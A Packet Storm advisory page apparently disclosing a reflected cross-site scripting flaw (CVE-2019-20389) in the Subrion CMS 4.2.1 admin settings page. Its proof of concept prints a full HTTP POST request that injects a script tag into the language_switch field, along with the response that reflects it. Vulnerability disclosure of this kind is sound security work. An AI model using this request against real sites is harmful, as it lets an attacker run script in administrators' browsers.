what you don't know can hurt you

Subrion CMS 4.2.1 Cross Site Scripting

Subrion CMS 4.2.1 Cross Site Scripting
Posted May 14, 2020
Authored by Christian Bortone

Subrion CMS version 4.2.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-20389
MD5 | 5e20656542f5331dcaf26c0ed1c37ba7

Subrion CMS 4.2.1 Cross Site Scripting

Change Mirror Download
# Title: Subrion CMS 4.2.1 Cross-Site Scripting (XSS)
# Date: 02-12-2019
# Author: Christian Bortone
# Contact: christianbortone@gmail.com
# Vendor Homepage: https://subrion.org/
# Vulnerable Product: Subrion CMS 4.2.1
# CVE : CVE-2019-20389



1. Description:

A cross-site scripting vulnerability was identified in Subrion CMS settings page. A remote attacker can inject arbitrary Javascript code in the multipart/form-data, which is reflected back within a user's browser without proper output encoding.


2. Proof of Concept:

-------REQUEST-------

POST /subrion/panel/configuration/general/ HTTP/1.1
Host: localhost
Content-Length: 2270
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYsVEcg0mHqDrQoAg
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.0 Safari/537.36 autochrome/red
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/subrion/panel/configuration/general/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: INTELLI_64e9af8d7f=9d3b0b32b40a06ddf509f7e646e29397; loader=loaded
Connection: close

...

Content-Disposition: form-data; name="v[language_switch]"

"><script>alert(1)</script>

...

-------RESPONSE-------

HTTP/1.1 200 OK
Date: Mon, 02 Dec 2019 19:04:08 GMT
Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.1.30 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/7.1.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: INTELLI_64e9af8d7f=bc8d4b54fe37565e2ca7f4521c05ecb5; expires=Mon, 02-Dec-2019 19:34:08 GMT; Max-Age=1800; path=/
X-Robots-Tag: noindex
Vary: Accept-Encoding
Content-Length: 104140
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>

...

<input type="checkbox" name="v[language_switch]" id="language_switch" value=""><script>alert(1)</script>" checked>

...


Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close